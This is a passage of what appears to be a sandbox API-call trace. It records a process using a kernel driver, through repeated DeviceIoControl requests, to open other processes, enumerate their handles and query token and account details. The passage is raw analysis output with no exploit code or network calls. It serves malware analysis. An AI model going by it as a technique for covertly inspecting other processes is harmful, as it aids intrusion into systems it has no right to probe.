KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880044355d0) [0123.422] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.422] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.422] PsReleaseProcessExitSynchronization () returned 0x2 [0123.422] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0123.423] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0123.423] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.423] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.423] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.423] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0123.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.423] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0123.423] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.423] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0123.423] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.423] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.423] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.423] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.423] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.424] CloseHandle (hObject=0xc8) returned 1 [0123.424] CloseHandle (hObject=0xc0) returned 1 [0123.424] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.425] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.425] PsAcquireProcessExitSynchronization () returned 0x0 [0123.425] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0) [0123.425] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0123.425] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.425] PsReleaseProcessExitSynchronization () returned 0x2 [0123.425] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0123.425] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.425] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0123.425] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.425] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0123.425] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.425] PsAcquireProcessExitSynchronization () returned 0x0 [0123.425] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0) [0123.425] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0123.425] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.425] PsReleaseProcessExitSynchronization () returned 0x2 [0123.425] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0123.425] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.425] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0123.425] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.426] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.426] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.426] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.426] PsAcquireProcessExitSynchronization () returned 0x0 [0123.426] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0) [0123.426] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.426] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.426] PsReleaseProcessExitSynchronization () returned 0x2 [0123.426] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0123.426] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.426] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.426] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.426] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.426] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.426] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.426] PsAcquireProcessExitSynchronization () returned 0x0 [0123.426] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0) [0123.426] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0123.426] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.426] PsReleaseProcessExitSynchronization () returned 0x2 [0123.426] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0123.426] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.426] ObfDereferenceObject (Object=0xfffffa8002164d10) returned 0x1 [0123.426] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.426] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.426] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.426] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.426] PsAcquireProcessExitSynchronization () returned 0x0 [0123.426] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880044355d0) [0123.427] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0123.427] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.427] PsReleaseProcessExitSynchronization () returned 0x2 [0123.427] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0123.427] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.427] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0123.427] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.427] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0123.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.427] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 [0123.427] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.427] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0123.427] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.427] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.427] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.427] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.427] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.603] CloseHandle (hObject=0xc8) returned 1 [0123.603] CloseHandle (hObject=0xc0) returned 1 [0123.603] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.603] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.603] PsAcquireProcessExitSynchronization () returned 0x0 [0123.603] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0) [0123.604] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0123.604] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.604] PsReleaseProcessExitSynchronization () returned 0x2 [0123.604] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0123.604] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.604] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0123.604] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.604] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.604] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.604] PsAcquireProcessExitSynchronization () returned 0x0 [0123.604] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0) [0123.604] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0123.604] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.604] PsReleaseProcessExitSynchronization () returned 0x2 [0123.604] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0123.604] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800371b7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800371b7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.604] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0123.604] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.604] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.604] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.604] PsAcquireProcessExitSynchronization () returned 0x0 [0123.604] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0) [0123.604] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.604] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.604] PsReleaseProcessExitSynchronization () returned 0x2 [0123.604] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0123.604] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0123.605] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.605] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.605] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.605] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.605] PsAcquireProcessExitSynchronization () returned 0x0 [0123.605] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0) [0123.605] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0123.605] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.605] PsReleaseProcessExitSynchronization () returned 0x2 [0123.605] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0123.605] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.605] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0123.605] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.605] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.605] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.605] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.605] PsAcquireProcessExitSynchronization () returned 0x0 [0123.605] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880044355d0) [0123.605] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0123.605] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.605] PsReleaseProcessExitSynchronization () returned 0x2 [0123.605] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0123.605] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0123.605] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0123.605] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.606] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.606] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0123.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.606] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0123.606] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.606] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0123.606] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.606] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.606] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.606] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.606] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.607] CloseHandle (hObject=0xc8) returned 1 [0123.607] CloseHandle (hObject=0xc0) returned 1 [0123.607] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.607] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.607] PsAcquireProcessExitSynchronization () returned 0x0 [0123.607] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0) [0123.608] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0123.608] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.608] PsReleaseProcessExitSynchronization () returned 0x2 [0123.608] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0123.608] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.608] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0123.608] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.608] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.608] RtlAllocateHeap (HeapHandle=0x240000, 